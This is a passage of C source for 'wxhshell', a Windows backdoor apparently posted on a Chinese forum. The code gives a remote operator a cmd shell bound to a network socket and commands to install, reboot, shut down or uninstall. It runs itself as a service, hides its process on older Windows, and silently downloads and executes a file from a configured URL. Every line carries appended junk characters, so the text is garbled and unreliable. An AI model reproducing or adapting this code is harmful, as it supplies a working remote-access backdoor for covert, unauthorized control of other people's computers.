      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <J uJ`t  
    break; 3S21DC@Y  
  } xVo)!83+Q  
  // 安装 [Cr~gd+ q  
  case 'i': { y^fU_L?p  
    if(Install()) sX?7`n1U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UjK&`a ;V  
    else ^d=@RTyo/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jm^jz  
    break; nf^k3QS\  
    } t|,Ex7  
  // 卸载 e;Z`&  
  case 'r': { + opN\`  
    if(Uninstall()) 9`VF [* 9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VZ!$'??  
    else u$^` hzfI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jiD8|%}v  
    break; a#j^gu$m  
    } xJ.!Q)[  
  // 显示 wxhshell 所在路径 q/G5aO*  
  case 'p': { CzbNG^+  
    char svExeFile[MAX_PATH]; +u)$o  
    strcpy(svExeFile,"\n\r"); PA[Rhoit,  
      strcat(svExeFile,ExeFile); s&hP^tKT  
        send(wsh,svExeFile,strlen(svExeFile),0); `h]f(  
    break; JQ4>S<ttJ  
    } +`[Sv%v&L  
  // 重启 P.P>@@+d  
  case 'b': { I8:&Btf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ${2fr&Tp  
    if(Boot(REBOOT)) XOFaS '.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H2KY$;X [  
    else { 2$UR " P  
    closesocket(wsh); q{(&:~M  
    ExitThread(0); !Z)^c&  
    } b DvbM  
    break; eF\C?4  
    } J4X35H=Z  
  // 关机 jzw?V9Ijb  
  case 'd': { !d )i6W?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?5gpk1  
    if(Boot(SHUTDOWN)) EF~PM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pdu  
    else { ' qVa/GJ  
    closesocket(wsh); Xqw7lj;K  
    ExitThread(0); Mb!^_cS(  
    } =hlu, By  
    break; bS6Yi)p  
    } s]>%_(5  
  // 获取shell TD9`S SpP  
  case 's': { M] *pBc(o0  
    CmdShell(wsh); GjG3aqP&!  
    closesocket(wsh); (o\~2e:  
    ExitThread(0); )T_ #X!  
    break; A4x3TW?  
  } %q^]./3p  
  // 退出 x=)$sD-3  
  case 'x': {  (La  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _XPc0r:?>  
    CloseIt(wsh); u&bU !ZI  
    break; tsD^8~ t|h  
    } 55\mQ|.Jn  
  // 离开 .@V>p6MV  
  case 'q': { B:.rp.1   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a QFHB!  
    closesocket(wsh);  p-kqX  
    WSACleanup(); -GjJrYOU  
    exit(1); S\(_"xJPp  
    break; N|}`p"  
        } aoS1Yt'@  
  } r0>T7yPAK  
  } 3\7$)p+c  
qiN'Tuw9  
  // 提示信息 2B;QS\e"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?YO%]mTP  
} iI7~9SCE  
  } i2E7$[  
e+TNG &_  
  return; f' S"F  
} N 5DS-gv  
b.&YUg[#  
// shell模块句柄 {'(8<n57  
int CmdShell(SOCKET sock) 8),Y|4  
{ TH &B9  
STARTUPINFO si; g~b'}^J  
ZeroMemory(&si,sizeof(si)); tHeLq*))  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >wwEa4   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5JXLfYTUI  
PROCESS_INFORMATION ProcessInfo; (WvA9s{/  
char cmdline[]="cmd"; aT#|mk=\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0 M?}S~p]  
  return 0; ><~hOK?v  
} I5]zOKlVR  
w0iE x1i  
// 自身启动模式 rB]/N,R   
int StartFromService(void) u.6%n. g  
{ F ReK  
typedef struct T*m_rDDt  
{ 9`AQsZ2  
  DWORD ExitStatus; U^D7T|P$V  
  DWORD PebBaseAddress; om6R/K  
  DWORD AffinityMask; ,fn=%tiUk  
  DWORD BasePriority; }=gGs  
  ULONG UniqueProcessId; z?xd\x  
  ULONG InheritedFromUniqueProcessId; |1o]d$3m  
}   PROCESS_BASIC_INFORMATION; "/5b3^a  
sTDBK!9I  
PROCNTQSIP NtQueryInformationProcess; c/RG1w  
LJD"N#c   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f&'md  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -5K/ cK  
2X`M&)"X  
  HANDLE             hProcess; Y i`.zm  
  PROCESS_BASIC_INFORMATION pbi; 1Jt%I'C?  
$.Ni'U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Er)b( Kk  
  if(NULL == hInst ) return 0; uvL|T48  
0/$sr;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S%2qB;uw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UpILr\3U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Eh+lL tZ  
vq}V0- <  
  if (!NtQueryInformationProcess) return 0; J']W7!p  
5> UgBA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E2MpMR  
  if(!hProcess) return 0; aH_&=/-Tz  
Dp8(L ]6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S(pfd2^  
F+GQl  
  CloseHandle(hProcess); <S qbj;  
b~}}{fm&f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s6I]H  
if(hProcess==NULL) return 0; <OUAppH  
c1i7Rc{q  
HMODULE hMod;  (c"!0v  
char procName[255]; IF=rD-x  
unsigned long cbNeeded; N@g+51ye  
'5%DKz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` Oi@7 /oT  
7_RU*U^  
  CloseHandle(hProcess); #p]O n87>  
m N{$z<r  
if(strstr(procName,"services")) return 1; // 以服务启动 LBg#KQ @  
)lbF'.i  
  return 0; // 注册表启动 pmC@ fB  
} vd~O:=)4  
X^ovP'c2  
// 主模块 VaB7)r  
int StartWxhshell(LPSTR lpCmdLine) 0pQ>V)  
{ 5Ai Yx}  
  SOCKET wsl; IH5thL@D  
BOOL val=TRUE; B?jF1F!9  
  int port=0; `fs[C  
  struct sockaddr_in door; vI-KH:r"{  
MmX42;Pw  
  if(wscfg.ws_autoins) Install(); U+KbvkX wj  
MIgIt"M jz  
port=atoi(lpCmdLine); rP'oU V_  
&+\wYa,  
if(port<=0) port=wscfg.ws_port; ;(XSw%Y H  
o}T]f(>}  
  WSADATA data; IAfYlS#<yD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; , Le_PJY)  
tQ/U'Ap&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   er53?z7zP.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .}tL:^'~o  
  door.sin_family = AF_INET; HV}NT~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y !`H_Qo  
  door.sin_port = htons(port); ]C!u~A\jq  
 *q^'%'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ! M bRI  
closesocket(wsl); $z<CkMP!U7  
return 1; og>f1NwS[  
} &rn,[w_F[  
_2|,j\f;L  
  if(listen(wsl,2) == INVALID_SOCKET) { #8PjYB  
closesocket(wsl); !o`al` q'  
return 1; |aZ^K\yIF  
} { Z|C  
  Wxhshell(wsl); /:S.(" Unv  
  WSACleanup(); O @w=  
H:|yu  
return 0; /( q*  
2]@U$E='s  
} z >pq<}R6  
U9JqZ!  
// 以NT服务方式启动 A3Su&0uaB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  9( m^^  
{ &?~> I[^~  
DWORD   status = 0; (vQShe\  
  DWORD   specificError = 0xfffffff; C. Sb4i*  
]|-y[iu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %hXa5}JL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a(m#GES  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j#-74{Y$ J  
  serviceStatus.dwWin32ExitCode     = 0; 7|{QAv  
  serviceStatus.dwServiceSpecificExitCode = 0; rP*?a~<  
  serviceStatus.dwCheckPoint       = 0; *6uiOtH  
  serviceStatus.dwWaitHint       = 0; Fr3Q"(  
qWWy}5SOm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C4b3ZcD2  
  if (hServiceStatusHandle==0) return; *bR _ C"-  
FCg,p2  
status = GetLastError(); W7.]V)$wM  
  if (status!=NO_ERROR) aUd6 33  
{ h322^24-2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; il:+O08_  
    serviceStatus.dwCheckPoint       = 0; _3)~{dQ+  
    serviceStatus.dwWaitHint       = 0; g >X!Q  
    serviceStatus.dwWin32ExitCode     = status; F.JE$)B2EX  
    serviceStatus.dwServiceSpecificExitCode = specificError; nF7Ozxm#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^f4qs  
    return; ]+J]}C]\d  
  } ?A]:`l_"  
 6CCM7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I+}h+[W  
  serviceStatus.dwCheckPoint       = 0; V;>p@uE,P  
  serviceStatus.dwWaitHint       = 0; `LNRl'Z m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~x824xW  
} ll6~8PN  
(Y-7B  
// 处理NT服务事件,比如:启动、停止 k+_pj k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uHy^ Bq  
{ :g][99  
switch(fdwControl) 0Tq6\:  
{ 3Y>!e#  
case SERVICE_CONTROL_STOP: lx%<oC+M  
  serviceStatus.dwWin32ExitCode = 0; d kPfdK}G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *`|F?wF  
  serviceStatus.dwCheckPoint   = 0; XWK A0  
  serviceStatus.dwWaitHint     = 0; 1 ,Y-_e)  
  { n`}vcVL;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); si)920?E&  
  } !)ee{CwNc  
  return; " MlY G6  
case SERVICE_CONTROL_PAUSE: ,*Sj7qb#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y+@7k3"  
  break; Uh*V>HA#  
case SERVICE_CONTROL_CONTINUE:  E{h   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e;,D!  
  break; {D$#m  
case SERVICE_CONTROL_INTERROGATE: sY=$\hj  
  break; R\)pW9)  
}; CmM K\R.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _8kZ>w(L  
} z0a=A:+/  
F $B _;G  
// 标准应用程序主函数 cu.f]'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ow<=K:^  
{ $5:j" )$,  
waldLb>7D  
// 获取操作系统版本 k/cQJz  
OsIsNt=GetOsVer(); ?PLf+S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hcuvu[)T"  
)V} t(>V  
  // 从命令行安装 ;ZB[g78%R%  
  if(strpbrk(lpCmdLine,"iI")) Install(); UZv^3_,qz  
IrJCZsk  
  // 下载执行文件 M~=9ym  
if(wscfg.ws_downexe) { }>>BKn   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V{ECDg P  
  WinExec(wscfg.ws_filenam,SW_HIDE); a*! wiTGf  
} "4|D"|wI)  
a//<S?d$:  
if(!OsIsNt) { *RivZ c9;P  
// 如果时win9x,隐藏进程并且设置为注册表启动 (;V6L{Rf>  
HideProc(); BA53   
StartWxhshell(lpCmdLine); Ac|IBXGa=  
} &")ON[|b  
else yY[N\*P  
  if(StartFromService()) cd#@"&r  
  // 以服务方式启动 `q".P]wtKN  
  StartServiceCtrlDispatcher(DispatchTable); #1+1q{=Z<  
else hr(E, TAe  
  // 普通方式启动 {|bf`  
  StartWxhshell(lpCmdLine); NvQN  
hxGZ}zq*S  
return 0; 6j+_)7.V  
}
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只看该作者 1 发表于: 2006-10-10
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